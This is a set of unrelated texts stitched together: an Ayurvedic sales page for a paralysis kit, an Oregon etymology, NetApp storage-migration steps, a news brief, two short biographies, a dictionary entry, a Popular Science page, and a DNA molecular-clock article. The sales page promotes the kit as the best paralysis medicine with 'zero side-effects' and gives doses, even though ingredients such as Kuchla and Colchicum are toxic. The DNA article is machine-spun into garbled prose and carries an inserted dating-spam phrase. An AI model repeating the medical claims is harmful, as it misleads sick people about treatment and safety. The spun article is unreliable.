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paralysis medicine in ayurveda
Navigating Paralysis Types, Causes, Symptoms and its medicine and treatment in ayurveda
Ayurveda, the traditional system of medicine that originated in India, has its own perspective on paralysis. In Ayurveda, paralysis is referred to as "Pakshaghata." According to Ayurvedic principles, paralysis is primarily caused by an imbalance in the three doshas (Vata, Pitta, and Kapha) and a disruption in the flow of vital energy (prana) in the body. Ayurvedic treatments for paralysis aim to restore balance to these doshas and promote the rejuvenation of affected tissues. Here are some key points about paralysis in Ayurveda:
Dosha Imbalance & Paralysis: Ayurveda believes that an imbalance in the Vata dosha is the primary cause of paralysis. Vata is associated with movement and communication within the nervous system. When Vata is aggravated or imbalanced, it can lead to disruptions in nerve function and muscle control.
In Ayurveda, dosha imbalance is believed to play a significant role in the development of paralysis, which is referred to as "Pakshaghata" in Ayurvedic terminology. Paralysis is primarily associated with an imbalance in the Vata dosha. Here's how dosha imbalance is related to paralysis in Ayurveda:
Vata Dosha Imbalance: Vata is one of the three primary doshas in Ayurveda, and it is associated with qualities such as mobility, dryness, coldness, and lightness. Vata governs the nervous system, including the movement of nerve impulses and the coordination of muscle movements. When there is an excessive or aggravated Vata dosha, it can disrupt the normal functioning of the nervous system, leading to conditions like paralysis.
Causes of Vata Imbalance: Several factors can contribute to the imbalance of Vata dosha, including:
• Physical Trauma: Injuries or trauma to the nervous system, such as spinal cord injuries or head injuries, can directly affect Vata and lead to paralysis.
• Emotional Stress: High levels of stress, anxiety, and emotional trauma can aggravate Vata dosha and contribute to nervous system disorders.
• Poor Diet and Lifestyle: Unhealthy dietary habits, irregular routines, and excessive consumption of Vata-aggravating foods (e.g., dry and cold foods) can disturb the balance of Vata dosha.
• Toxins: The accumulation of toxins (ama) in the body due to poor digestion or metabolic issues can also disrupt Vata and lead to health problems, including paralysis.
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Paralysis Causes
Paralysis can result from various underlying causes, each of which affects the nervous system or muscles differently. Here are some common causes of paralysis, along with explanations for each:
• Stroke (Cerebrovascular Accident): A stroke occurs when there is a disruption of blood flow to a part of the brain. This can happen due to a blocked blood vessel (ischemic stroke) or a ruptured blood vessel (hemorrhagic stroke). The affected area of the brain can no longer function properly, leading to paralysis in specific parts of the body. The extent and location of paralysis depend on which area of the brain is affected.
• Spinal Cord Injury: Trauma or injury to the spinal cord can result in paralysis. The spinal cord is responsible for transmitting signals between the brain and the body. When the spinal cord is damaged, the communication between the brain and muscles is interrupted, leading to paralysis. Paralysis resulting from spinal cord injury can be complete (total loss of function) or incomplete (partial loss of function), depending on the severity and location of the injury.
• Neurological Disorders: Various neurological conditions can lead to paralysis. These include:
1. Multiple Sclerosis (MS): MS is an autoimmune disorder that affects the central nervous system. It can cause episodes of weakness or paralysis due to damage to the protective covering of nerve fibres (myelin).
2. Amyotrophic Lateral Sclerosis (ALS): ALS is a progressive neurodegenerative disease that affects nerve cells in the brain and spinal cord. It leads to the gradual loss of muscle control and function, resulting in paralysis.
3. Guillain-Barré Syndrome: This is an autoimmune disorder that affects the peripheral nervous system. It can lead to muscle weakness and, in severe cases, paralysis.
• Infections: Certain infections can lead to paralysis, either directly or indirectly.
For example:
1. Polio (Poliomyelitis): Polio is a viral infection that can lead to paralysis, particularly in the muscles used for movement. It primarily affects the motor neurons in the spinal cord.
2. Viral Encephalitis: Some forms of viral encephalitis can cause inflammation in the brain and spinal cord, leading to paralysis in severe cases.
• Autoimmune Disorders: Autoimmune conditions, where the immune system mistakenly attacks the body's own tissues, can lead to paralysis.
For example:
1. Transverse Myelitis: This is an autoimmune disorder that affects the spinal cord, causing inflammation and paralysis in the affected area.
• Tumors and Growth: Tumors or growths in the brain or spinal cord can exert pressure on the surrounding nervous tissue, leading to paralysis in certain parts of the body. Treatment often involves surgery to remove or reduce the size of the tumor.
• Peripheral Nerve Disorders: Conditions that affect the peripheral nerves, such as peripheral neuropathy or diabetic neuropathy, can cause weakness and paralysis in the extremities.
• Metabolic and Toxic Causes: Certain metabolic disorders or exposure to toxins can damage nerves or muscles, leading to paralysis. For example, botulism, a bacterial toxin, can cause muscle paralysis.
• Trauma: Severe physical trauma, such as injuries sustained in car accidents, falls, or sports-related incidents, can damage nerves or the spinal cord, resulting in paralysis.
The specific treatment and prognosis for paralysis depend on the underlying cause and the extent of nerve or tissue damage. Rehabilitation, physical therapy, assistive devices, medications, and surgical interventions are some of the approaches used to manage paralysis, with the goal of maximizing a person's independence and quality of life.
Paralysis Symptoms:
The symptoms of paralysis can vary depending on the underlying cause, the location and extent of nerve damage, and the type of paralysis. Paralysis can affect one or more limbs or even specific muscle groups. Here are common symptoms associated with different types of paralysis:
• Loss of Muscle Strength: The hallmark symptom of paralysis is a significant loss of muscle strength in the affected area. The muscles become weak or completely non-functional.
• Loss of Muscle Control: Paralysis typically involves a loss of control over the affected muscles. Individuals may find it challenging or impossible to move the affected body part voluntarily.
• Sensory Changes: Depending on the severity of the paralysis, there may be alterations in sensation in the affected area. This can include numbness, tingling, or reduced sensitivity to touch, heat, or cold.
• Muscle Stiffness and Spasticity: In some cases, paralyzed muscles can become stiff or develop spasticity, which is characterized by involuntary muscle contractions and increased muscle tone.
• Involuntary Movements: Paralysis can sometimes lead to involuntary muscle movements or twitching, which may be unrelated to voluntary actions.
• Loss of Reflexes: The affected muscles may lose their normal reflex responses, such as the knee jerk reflex.
• Impaired Coordination: Paralysis can lead to impaired coordination and difficulty in performing precise movements or maintaining balance.
• Difficulty with Daily Activities: Depending on the location and extent of paralysis, individuals may have difficulty with activities of daily living, such as walking, dressing, eating, or grooming.
• Speech and Swallowing Difficulties: In cases of facial or throat paralysis, individuals may experience speech and swallowing difficulties.
• Breathing Problems: In severe cases of paralysis affecting the chest and diaphragm muscles, breathing difficulties may occur, requiring assistance with breathing.
• Bladder and Bowel Control Issues: Paralysis can affect control over the bladder and bowels, leading to urinary and fecal incontinence.
Types of Paralysis
1. Monoplegia: Paralysis of one limb or part of the body.
2. Hemiplegia: Paralysis of one entire side of the body (usually caused by a stroke).
3. Paraplegia: Paralysis of both legs and often the lower body.
4. Quadriplegia/Tetraplegia: Paralysis of both arms and both legs, often associated with spinal cord injuries.
5. Partial Paralysis: This term is used when there is partial loss of muscle strength and control in a specific area.
Paralysis Treatment in Ayurveda:
Ayurveda has whole bunch of products used to cure paralysis. It focuses on correcting the underlying dosha imbalance and promoting the rejuvenation of tissues.
Shri Chyawan Ayurveda’s Paralysis Care Kit:
Our ayurveda experts have formulated the best ayurvedic medicine for paralysis patient, using purely herbal and ayurvedic ingredients causing zero side-effects. This kit is extremely effective in all types of joint, muscle related pain.
The Kit Contains:
1. Life Guard Advance
2. Anart Powder
3. Peedago Vati
4. Shilajit Vati
5. Right King Oil
6. Chandraprabha Vati
Product Benefits:
1. Life Guard Advance is multivitamin syrup; it provides all the necessary vitamins needed by our body during pregnancy or anaemia. It helps to boost the immunity power.
2. Anart Powder helps in reducing the swelling in the joints giving you relief from the pain.
3. Peedago Vati is an Ayurvedic Painkiller; unlike the others available in the market Peedago Vati does not have any side effects.
4. Shilajit Vati helps to increase durability & strengthen the body.
5. Right King Oil massage lightly with this oil which helps to relieve pain and relaxes muscles.
6. Chandraprabha Vati helps in reducing physical stress and helps your body to relax.
Key Ingredients:
1. Life Guard Advance: It contains natural ayurvedic ingredients like Arjun Chal, Ashwagandha, Gokhru, Satvari, Utangan, Shilajeet, Tulsi, Salimpanja, Amla, Harde, Baheda, Sauth, Mari, Pipal.
2. Anart Powder: It contains natural ayurvedic ingredients like Ricinus Communis, Colchicum luteum, Pipali, Chitrak Haritaki, Ginger, Vinarghya, Piper Offcinarum.
3. Peedago Vati: It contains natural ayurvedic ingredients like Shudh Kuchl, Bhilawa, Ajmod, Terminalia Chebula, Black Pepper, Badheda, Ajmod, Nagarmotha.
4.Shilajit Vati: It contains natural ayurvedic ingredients like Siddh Makardwaj, Semal Musli, Safed Musli, Punarnava, Salim Panja, Akarkara, Utangan, Moch Ras, Kali Musli, Shilajit.
5. Right King Oil: It contains natural ayurvedic ingredients like Neem, Sehjan, Chopchini, Ashwagandha, Peppermint, and Kapur.
6. Chandraprabha Vati: It consists SwarnBhasm, VaiVidang, Chitrak Bark, Daruharidra, Devdaru, Camphor, Pipalmool, Nagarmotha, Pippal, Kali Mirch, Yavkshar, Vach, Dhania, Chavya, Gajpipal, Sounth, SendhaNamak, Nishoth, Dantimool, Tejpatra, Chhoti elaichi.
paralysis medicine in ayurveda
How to Use:
1.Life Guard Advance - 10ml two times a day after meal i.e., lunch and dinner.
2.Anart Powder - Every morning and evening after breakfast and snacks respectively.
3.Peedago Vati - Every morning and evening after breakfast and snacks respectively.
4.Shilajit Vati - One tablet twice a day after meals.
5.Right King Oil - Massage with the oil twice every day.
6.Chandraprabha Vati -
One tablet twice a day, after a meal i.e., lunch and dinner.
Other Treatments may include:
• Panchakarma therapies: These are detoxification procedures that aim to remove toxins from the body and restore balance.
• Diet and lifestyle changes: Patients are advised to follow a balanced diet and make lifestyle modifications to support the healing process.
• Yoga and Pranayama: Specific yoga asanas (postures) and pranayama (breathing exercises) may be recommended to improve muscle strength and coordination.
• Rehabilitation: Ayurveda emphasizes the importance of rehabilitation and physical therapy in the treatment of paralysis. This includes exercises, massage, and other therapies to regain strength and function in the affected limbs.
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Etymology of Oregon
The origin of the name of the U.S. state of Oregon is unknown, and a subject of some dispute.
Historical usage
The earliest evidence of the name Oregon has Spanish origins. The term "orejón" comes from the historical chronicle Relación de la Alta y Baja California (1598) written by Rodrigo Montezuma, a man of New Spain. His work made reference to the Columbia River when the Spanish explorers penetrated into the actual North American territory that became part of the Viceroyalty of New Spain. This chronicle is the first topographical and linguistic source with respect to the place name Oregon. Another possible source is the Spanish word oregano, which refers to a plant that grows in the southern part of the region. It is also possible that the American territory was named by the Spaniards, as there is a stream in Spain called the "Arroyo del Oregón" (which is located in the province of Ciudad Real), or that the "j" in the Spanish phrase "El Orejón" was later corrupted into a "g". Another common claim is that the augmentative with "g" is present in both Portuguese and Spanish, analogous to Patagonia, where the name comes from the word "patagón" ("patagão" in Portuguese) meaning "big feet" or "big paw"; the word "ear" was applied in cartography to designate "shores", "banks", "limits" and "edges", much like the word "orilla" currently in popular use in Spanish.
Another early use of the name, spelled Ouragon, was by Major Robert Rogers in a 1765 petition to the Kingdom of Great Britain, seeking money to finance an expedition in search of the Northwest Passage. The petition read "the rout... is from the Great Lakes towards the Head of the Mississippi, and from thence to the River called by the Indians Ouragon...." Thus, the early Oregon Country and now the present-day state of Oregon took their names from the river now known as the Columbia River.
In 1766, Rogers commissioned Jonathan Carver to lead such an expedition and in 1778, Carver used Oregon to label the Great River of the West in his book Travels Through the Interior Parts of North America. The poet William Cullen Bryant took the name from Carver's book and used it in his poem Thanatopsis, published in 1817, to refer to the recent discoveries of the Lewis and Clark Expedition, which helped establish the name in modern use.
Other theories suggest that Rogers appropriated the Abenaki name for the Ohio River, Waregan, or found the name Ourican on a highly speculative 1715 French map.
Possible origins
Why Rogers used the name has led to many theories, which include these:
* George R. Stewart argued in a 1944 American Speech article that the name came from an engraver's error in a French map published in the early 18th century on which the Ouisiconsink (Wisconsin River) was spelled "Ouaricon-sint", broken into two lines with the -sint below, so that there appeared to be a river flowing to the west named "Ouaricon". The theory was endorsed in Oregon Geographic Names as "the most plausible explanation".
* In a 2004 article for the Oregon Historical Quarterly, Professor Thomas Love and Smithsonian linguist Ives Goddard argue that Rogers chose the word based on exposure to either of the Algonquian words wauregan and olighin, both meaning "good and beautiful (river)", but in Rogers' day referring to the Ohio River. According to their theory, Rogers was inspired by a reference to a "Belle Rivière," or "Beautiful River" (which could have arguably stood for the river in question) in Antoine-Simon Le Page du Pratz's Histoire de la Louisiane, published in 1758. Le Page du Pratz also referred to an alleged Indian origin for this name but did not supply an Indian word for it. Goddard and Love then surmise that Rogers substituted his bastardization of the Mohegan pidgin word wauregan for Le Page du Pratz's "translation" Belle Rivière.
* John E. Rees in a 1920 article for the Oregon Historical Quarterly also ascribed the first use to Jonathan Carver, but hypothesized that the word derived from two Shoshone words, Ogwa (river) and Pe-On (west) which Carver had heard on his visits to Sioux Indians (where the Sioux pronounced gwa as an r). In other words, the word "Oregon" would mean something like "River of the West" in Shoshone. He does not trace the word back to Col. Rogers.
* T.C. Elliott described the theory that the name was a corruption of the French word ouragan (hurricane, windstorm, or tornado), which was applied to the River of the West based on Native American tales of powerful Chinook winds on the lower Columbia River, or perhaps from firsthand French experience with the Chinook winds of the Great Plains. At the time, the River of the West was thought to rise in western Minnesota and flow west through the Great Plains.
* One theory suggests that "Oregon" is a corruption of the French origan (oregano), a theory dismissed by Harvey W. Scott, a historian and early editor of The Oregonian. According to Scott, it was "a mere conjecture absolutely without support. More than this, it is completely disproved by all that is known of the name."
* In 2001, archaeologist Scott Byram and David G. Lewis published an article in the Oregon Historical Quarterly arguing that the name Oregon came from a Western Cree pronunciation of the Chinook Jargon word oolighan (see eulachon), referring to grease made from fish, a highly prized food source for Native Americans of the region. Allegedly, the trade routes brought the term westward.
* In 1863, Archbishop François Norbert Blanchet advanced the theory that the name derives from early Spanish settlers who referred to the big, ornamented ears of the region's native people by the name "Orejon."
* Joaquin Miller explained in Sunset magazine, in 1904, that "The name, Oregon, is rounded down phonetically, from Ouve água—Oragua, Or-a-gon, Oregon—given probably by the same Portuguese navigator that named the Farallones after his first officer, and it literally, in a large way, means cascades: 'Hear the waters.' You should steam up the Columbia and hear and feel the waters falling out of the clouds of Mount Hood to understand entirely the full meaning of the name Ouve a água, Oregon."
Others have speculated that the name is related to the kingdom of Aragon: the major part of the Spanish soldiers who conquered the West Coast from California to Vancouver Island in the 18th century were in fact from Catalonia, a principality of the ancient Crown of Aragon in Spain. The name might also be derived from the Spanish last name Obregón, which in turn is related to a Spanish place name "Obregon" in Santander, Spain, on the north coast.
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How you transition a stand-alone volume
Contributors ntap-bmegan netapp-ivanad Download PDF of this page
Transitioning a stand-alone volume includes different phases: preparation, data copy, apply configuration (precutover), and storage cutover. After completing transition, you must perform some post-transition steps before resuming client access. Understanding what occurs during each phase helps you manage your transition efficiently.
The following illustration describes different phases of transition
Phase Steps
Preparation
1. Gathering information
2. Performing the precheck
3. Creating data copy schedules
Data copy
1. Creating the ONTAP volumes as read-only
2. Creating a transition peer relationship
3. Establishing a SnapMirror relationship
4. Performing a baseline transfer
5. Performing scheduled incremental updates
Precutover
1. Breaking the SnapMirror relationship
2. Applying configurations to the SVM
3. Configuring data LIFs on the SVM
4. Testing data and configurations (manual and only for precutover RW)
5. Resynchronizing ONTAP volumes with corresponding 7-Mode volumes
Storage cutover
1. Disconnecting client access (manual)
2. Performing a final SnapMirror update
3. Breaking the SnapMirror relationship
4. Removing 7-Mode IP addresses and setting the data LIFs to the up state on the SVM
5. Taking the source volume offline
After cutover, performing post-transition steps and enabling client access (manual)
Chain of Custody verification for SnapLock volumes
1. Enumerating all of the WORM files from 7-Mode volumes
2. Calculating the fingerprint for each WORM file on the 7-Mode volumes (enumerated in the previous step) and calculating the fingerprint for the corresponding WORM file on the transitioned ONTAP volumes
3. Generating a report with details about the number of files with matched and unmatched fingerprints, and the reason for the mismatch
Preparation phase
In this phase, information about the 7-Mode system and the cluster, volumes, and IP addresses is collected. The 7-Mode Transition Tool performs the following tasks in this phase:
1. Collects and adds 7-Mode storage system and volume information.
2. Runs the transition precheck.
3. Collects and adds cluster, SVM, and aggregate information.
4. Collects IP addresses that must be configured on the SVM:
• Selects the IP addresses that exist on the 7-Mode system.
• Specifies new IP addresses that must be configured on the SVM. NOTE: Transitioning of iSCSI and FC LIFs (SAN) is not supported by the tool. You must manually configure SAN LIFs on the SVM before transition.
5. Creates data copy schedules for baseline copy and incremental updates.
6. If the project contains SnapLock volumes, collects information about the read-write SnapLock volumes for which Chain of Custody verification is required and the details of the ONTAP volume that stores the fingerprint data that is generated during the Chain of Custody verification operation.
The Chain of Custody verification operation is supported only for volumes with file names that have only ASCII characters.
7. Plans configuration transition by selecting the 7-Mode configurations that must be transitioned to the target SVM and target volumes.
You should not modify the objects (volumes, IP addresses, system information, and so on) on the controller after fixing the errors and warnings that are reported during the precheck.
Data copy phase
In this phase, data from the 7-Mode volumes is copied to the ONTAP volumes. The 7-Mode Transition Tool performs the following tasks in this phase:
1. Creates the ONTAP volumes with read-only access.
2. Set up a transition peer relationship between the 7-Mode system and the SVM.
3. Establishes a transition SnapMirror relationship (relationship of type TDP) between the 7-Mode volumes and ONTAP volumes.
4. Completes the baseline data copy transfer based on schedule inputs.
5. Performs scheduled incremental updates to the ONTAP volumes.
Apply configuration (precutover) phase
It is a best practice to run precutover operation a few days or weeks before the planned cutover window. This activity is to verify whether all the configurations are applied properly and whether any changes are required.
In this phase, configurations from the 7-Mode volumes are copied to ONTAP volumes.
There are two modes for the apply configuration (precutover) phase: precutover read-only and precutover read/write.
The precutover read/write mode is not supported when the project contains:
• SAN volumes and the target cluster is running Data ONTAP 8.3.1 or earlier
In this situation, the following configurations are not applied in the apply configuration (precutover) phase. Instead, they are applied during the cutover phase.
• SAN configurations
• Snapshot Schedule configurations
• SnapLock Compliance volumes
If the project contains SnapLock Compliance volumes, then the Snapshot Schedule configurations are not applied in the apply configuration (precutover) phase. Instead, these configurations are applied during the cutover phase.
If the target cluster is running Data ONTAP 8.3.1 or earlier, and you want to run the apply configuration (precutover) operation in read/write mode for NAS volumes, then you must create separate projects for the NAS volumes and SAN volumes. This action is required because the precutover read/write mode is not supported if you have SAN volumes in your project.
If the project contains SnapLock Compliance volumes, and you want to run the apply configuration (precutover) operation in read/write mode for non-SnapLock Compliance volumes, then you must create separate projects for SnapLock Compliance volumes and non-SnapLock Compliance volumes. This action is required because the precutover read/write mode is not supported if you have SnapLock Compliance volumes in your project.
The tool performs the following steps in the precutover read-only mode:
1. Performs an incremental update from 7-Mode volumes to ONTAP volumes.
2. Breaks the SnapMirror relationship between 7-Mode volumes and ONTAP volumes.
For SnapLock Compliance volumes, the SnapMirror relationship between the 7-Mode volume and ONTAP volumes is not broken. The SnapMirror relationship is not broken because the SnapMirror resynchronization operation between 7-Mode and ONTAP volumes is not supported for SnapLock Compliance volumes.
3. Collects configurations from 7-Mode volumes, and applies the configurations to the ONTAP volumes and the SVM.
4. Configures the data LIFs on the SVM:
• Existing 7-Mode IP addresses are created on the SVM in the administrative down state.
• New IP addresses are created on the SVM in the administrative up state.
5. Resynchronizes the SnapMirror relationship between 7-Mode volumes and ONTAP volumes
The tool performs the following steps in the precutover read/write mode:
1. Performs an incremental update from 7-Mode volumes to ONTAP volumes.
2. Breaks the SnapMirror relationship between 7-Mode volumes and ONTAP volumes.
3. Collects configurations from 7-Mode volumes, and applying the configurations to the ONTAP volumes and the SVM.
4. Configures the data LIFs on the SVM:
• Existing 7-Mode IP addresses are created on the SVM in the administrative down state.
• New IP addresses are created on the SVM in the administrative up state.
5. Makes the ONTAP volumes available for read/write access.
After you apply the configuration, the ONTAP volumes are available for read/write access so that read/write data access can be tested on these volumes during apply configuration (precutover) testing. You can manually verify the configurations and data access in ONTAP.
6. Resynchronizes the ONTAP volumes when "finish testing" operation is triggered manually.
Storage cutover phase
The 7-Mode Transition Tool performs the following tasks in this phase:
1. Optional: Performs an on-demand SnapMirror update to reduce the downtime after cutover.
2. Manual: Disconnect client access from the 7-Mode system.
3. Performs a final SnapMirror update from 7-Mode volumes to ONTAP volumes.
4. Breaks and deletes the SnapMirror relationship between the 7-Mode volumes to ONTAP volumes, making the ONTAP volumes read/write.
If the selected volume is a SnapLock Compliance volume and the volume is the destination of a SnapMirror relationship, then the SnapMirror relationship between the 7-Mode volume and the ONTAP volume is deleted without a SnapMirror break operation. This action is performed to ensure that secondary ONTAP SnapLock Compliance volumes remain in read-only mode. The secondary ONTAP SnapLock Compliance volumes must be in read-only mode for the resynchronization operation to be successful between the primary and secondary SnapLock Compliance volumes.
5. Applies Snapshot schedules configuration if:
• The target cluster is running clustered Data ONTAP 8.3.0 or 8.3.1 and project contains SAN volumes.
• The project contains SnapLock compliance volumes.
6. Applies SAN configurations, if the target cluster is running Data ONTAP 8.3.1 or earlier.
7. Applies quota configurations, if any.
8. Removes the existing 7-Mode IP addresses selected for transition from the 7-Mode system and brings the data LIFs on the SVM to the administrative up state.
SAN LIFs are not transitioned by the 7-Mode Transition Tool.
9. Optional: Takes the 7-Mode volumes offline.
Chain of Custody verification process for SnapLock volumes
You must perform the Chain of Custody verification operation. The tool performs the following operations when a Chain of Custody verification is initiated:
1. Enumerates all of the WORM files from 7-Mode volumes.
2. Calculates the fingerprint for each WORM file on the 7-Mode volumes (enumerated in the previous step) and calculates the fingerprint for the corresponding WORM file on the transitioned ONTAP volumes.
3. Generates a report with details about the number of files with matched and unmatched fingerprints, and the reason for the mismatch.
• The Chain of Custody verification operation is supported only for read-write SnapLock volumes that have file names with only ASCII characters.
• This operation can take a significant amount of time based on the number of files on the 7-Mode SnapLock volumes.
Post-transition steps
After the storage cutover phase finishes successfully and the transition is completed, you must perform some post-transition manual tasks:
1. Perform the required steps to configure features that were not transitioned or were partially transitioned, as listed in the precheck report.
For example, IPv6 and FPolicy must be configured manually after transition.
2. For SAN transition, reconfigure the hosts.
3. Ensure that the SVM is ready to serve data to the clients by verifying the following:
• The volumes on the SVM are online and read/write.
• The IP addresses are up and reachable on the SVM.
4. Redirect client access to the ONTAP volumes.
Related information
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Dubai leader's estranged wife appears in London court seeking forced marriage protection order | TheHill
Princess Haya, the estranged sixth wife of the ruler of Dubai, is seeking a protective order against her husband, Sheikh Mohammed bin Rashid al-Maktoum, to prevent her child from being forced into marriage, according to The New York Times. On Tuesday, Haya, who fled to London with the couple’s 11-year-old daughter and 7-year-old son earlier in the year, asked a British court for a nonmolestation order protecting her and for custody of the two children, according to the Times. Haya also asked the court for a forced marriage protection order, which would allow British authorities to block a person from being taken abroad for the purposes of being forced into a marriage, according to the Times, citing Britain’s Press Association. Judge Andrew McFarlane barred international news outlets from the proceedings and imposed broad reporting restrictions on the hearing. However, McFarlane allowed certain information to be disclosed, citing “a public interest,” and denied Sheikh Mohammed’s legal team’s request to suppress a basic overview of the legal battle, according to the Times. Two of Sheikh Mohammed’s daughters from other marriages, Sheikha Shamsa al-Maktoum and Sheikha Latifa bint Mohammed al-Maktoum, have previously attempted to flee Dubai but were recaptured by Emirati forces, according to the Times. Representatives for both Haya and her husband said in a joint statement that the court proceedings are “concerned with the welfare of the two children of their marriage and do not concern divorce or finances.” View the discussion thread. The Hill 1625 K Street, NW Suite 900 Washington DC 20006 | 202-628-8500 tel | 202-628-8503 fax The contents of this site are ©2019 Capitol Hill Publishing Corp., a subsidiary of News Communications, Inc.
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Zuhal Sultan
Zuhal Sultan (زحل سلطان; born 1991 in Baghdad, Iraq) is an Iraqi pianist and activist. She founded the National Youth Orchestra of Iraq at the age of 17.
Early life and music
Born in Baghdad, Iraq, in July 1991, Zuhal Sultan is the youngest of a scientific family of two boys and two girls. Both of her parents obtained their Ph.D degrees in natural sciences from universities in the United Kingdom. She started piano studies at the age of six with the help of a private tutor, then she auditioned to join the Music and Ballet School of Baghdad at the age of 9. After the departure from Iraq of many artists and intellectuals as a result of the 2003 Iraq War, Zuhal was left without a piano teacher. She therefore taught herself, as well as the younger students in her piano class. Despite all these difficulties, Zuhal has performed concerts both at home and abroad, including Jordan, France, Switzerland and at the Wigmore Hall, and at the Royal Festival Hall in London as a member of the Leonard Bernstein Mass orchestra.
Activism
Zuhal was chosen as a British Council Global Changemaker in 2008, and was then invited to become a peer facilitator for their 4th Global Youth Summit in 2009. She was involved with UNICEF and UNESCO in raising awareness through concerts, speeches and media interviews on Iraqi culture as well as Iraqi children's rights and education. Zuhal was a keynote speaker at FairSay's eCampaiging forum in 2009 held at Oxford University. She also served as a Global Youth Ambassador for the New York-based charity Musicians For Harmony.she also was the closest friend of Mr.Rekawt Omar Karim in Iraqi Kurdistan Halabja city. She has also participated at the World Economic Forum's Special Meeting on Economic Growth and Job Creation in the Arab World, held at the Dead Sea, Jordan, 21–23 October 2011.
National Youth Orchestra of Iraq
In 2008, she was chosen by Channel 4 and Raw T.V. for their web-based programme Battlefront to campaign for establishing the first National Youth Orchestra of Iraq. Along with Scottish conductor Paul MacAlindin and Musicians For Harmony's artistic director Allegra Klein, she formed the orchestra with the help of the British Council and the then Deputy Prime Minister of Iraq Barham Salih, whom she contacted through Twitter. The orchestra's debut was in August 2009 in the Kurdish city Al Suleimanya. The orchestra then performed in the Kurdish city of Erbil in 2010. Planning is underway are for a follow-up academy in 2011.
Recognition
Zuhal has received a great deal of attention in the American and European media, including stories in the Wall Street Journal, the Los Angeles Times, Symphony Magazine, Classical Music Magazine, International Piano Magazine, CNN Television, British Satellite News, and the Italian and French press.
Zuhal was named UNESCO's Young Artist for Intercultural Dialogue between the Arab and Western Worlds in a ceremony held in Spring of 2011 at UNESCO's headquarters in Paris.
In 2015 Zuhal was named the Euphrates Institute's Visionary of the Year. She gave a speaking tour across the US and did a number of interviews including NPR and St. Louis public radio.
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luoksepääsyoikeus
Noun
* 1) in Finnish copyright law, the moral right of the author to access their (physical artistic) work, if such access could be reasonably provided.
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Page:Popular Science Monthly Volume 54.djvu/167
Rh of our principal crops for the year 1897 is given in the table below. If miscellaneous crops be added to these principal crops, the cultivated land of this country does not now exceed, and in fact does not reach, twenty per cent of the arable land, while from the cultivated portion a progressive increase in product may be expected under the impetus of improved methods of farming on lessening areas in each farm.
The area under wheat in 1897 was a fraction under forty million acres, or a little less than sixty-two thousand square miles. The high price secured for that crop has led to an increase in land under wheat in 1898 to a fraction under seventy-one thousand square miles (nine thousand square miles added), on which the largest crop ever known has doubtless been raised, variously computed at the present time from 620,000,000 to 700,000,000 bushels. The area now under wheat is therefore less-than four per cent of our arable land.
In order to develop our potential in wheat it will be best to limit our present consideration to three States only—namely, Minnesota, North and South Dakota—from which we derive the greater part of our spring wheat. The area of these three States is two hundred and thirty-two thousand square miles, disregarding fractions. The land which is deemed to be suitable for wheat growing is estimated by the officials from whom I have derived reports at one hundred and sixty
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-: out 24, 2022 / Arthur
DNA matchmaking: How unit clocks are refining person evolution’s timeline
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DNA matchmaking: How unit clocks are refining person evolution’s timeline
Dialects
• Francais
• English
DNA keeps the story in our ancestry – just how we have been pertaining to the new common faces at the family relations reunions once the well much more old situations: how our company is associated with our nearest nonhuman family relations, chimpanzees; how Homo sapiens mated with Neanderthals; and how some one moved away from Africa, adjusting to help you brand new environment and you may life-style in the act. And you may our very own DNA and additionally retains clues towards time ones secret situations from inside the person development.
When researchers point out that modern people emerged into the Africa throughout the two hundred,one hundred thousand in years past and you will began its globally pass on regarding the 60,000 years ago, just how do they arrive up with people times? Typically scientists founded timelines off person prehistory considering fossils and you may items, which can be truly old which have strategies like radiocarbon relationships and Potassium-argon relationships. However, these procedures wanted old stays getting particular issues or conservation requirements, which is never the fact. Furthermore, relevant fossils otherwise artifacts haven’t been receive for everyone milestones in human progression.
Checking out DNA from expose-big date and old genomes will bring a complementary method for matchmaking evolutionary events. Given that certain hereditary alter occur in the a steady speed for each and every generation, they supply an estimate of time elapsed. These change accrue like the clicks into the a chronograph, providing an effective “unit time clock.” By researching DNA sequences, geneticists can not only rebuild matchmaking anywhere between different communities or kinds and also infer evolutionary record over deep timescales.
Unit clocks get more sophisticated, through enhanced DNA sequencing, logical devices and you may a far greater knowledge of the physiological process about genetic alter. Through the use of these methods towards the ever-growing database off DNA out-of diverse populations (both establish-date and you may ancient), geneticists try helping to build a simple schedule from human evolution.
Exactly how DNA can add up change
Molecular clocks derive from one or two key biological procedure which might be the main cause of all the heritable variation: mutation and you can recombination.
Mutations try transform on the emails off DNA’s genetic code – as an example, sri lankan women dating white man an effective nucleotide Guanine (G) will get a good Thymine (T). These change will be passed down of the generations to come if they exists into the eggs, spunk or their cellular precursors (the newest germline). Very come from errors whenever DNA duplicates by itself during cell section, even when other kinds of mutations occur in an instant otherwise away from connection with risks like rays and you can toxins.
In one single people genome, you’ll find regarding 70 nucleotide change for each generation – tiniest for the a genome made up of six billion characters. However in aggregate, over many years, this type of alter lead to substantial evolutionary version.
Experts are able to use mutations so you can estimate the fresh time off branches during the the evolutionary forest. First it contrast the fresh DNA sequences out-of two someone otherwise kinds, depending this new natural differences that do not transform one’s probability of success and you will reproduction. Then, knowing the price of them transform, they may be able determine the amount of time had a need to accumulate many differences. That it says to her or him the length of time it has been since some one common ancestors.
Research out of DNA between your cousin do let you know relatively couples mutational variations since you share forefathers – the parents – just one age group in the past. However, there are scores of differences when considering individuals and chimpanzees; all of our past common ancestor resided over six mil in years past.
Recombination, labeled as crossing-over, ‘s the most other chief means DNA adds up changes through the years. They leads to shuffling of the two duplicates of one’s genome (you to off for each and every moms and dad), that are included into chromosomes. During the recombination, brand new related (homologous) chromosomes line up and exchange places, and so the genome your spread to your people is an excellent mosaic of your own parents’ DNA.
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James Grant (minister)
James Grant FRSE DD DCL (January 23, 1800 – July 28, 1890) was a Scottish minister. Combining his religious skills with business skills he was also Director of Scottish Widows for 50 years (1840 to 1890) and Moderator of the General Assembly of the Church of Scotland in 1854. During his period as Moderator he was styled as Right Rev James Grant and thereafter as Very Rev James Grant.
Life
He was born in the manse at Portmoak on the northern edge of Loch Leven on 23 January 1800, the son of Rev Andrew Grant, minister of Portmoak. He attended the High School in Edinburgh then studied divinity at the University of Edinburgh. He was licensed as a minister by the Presbytery of Edinburgh in February 1822. In August 1824 he was ordained as minister of South Leith Parish Church in the harbour area of Edinburgh, where he stayed until 1843.
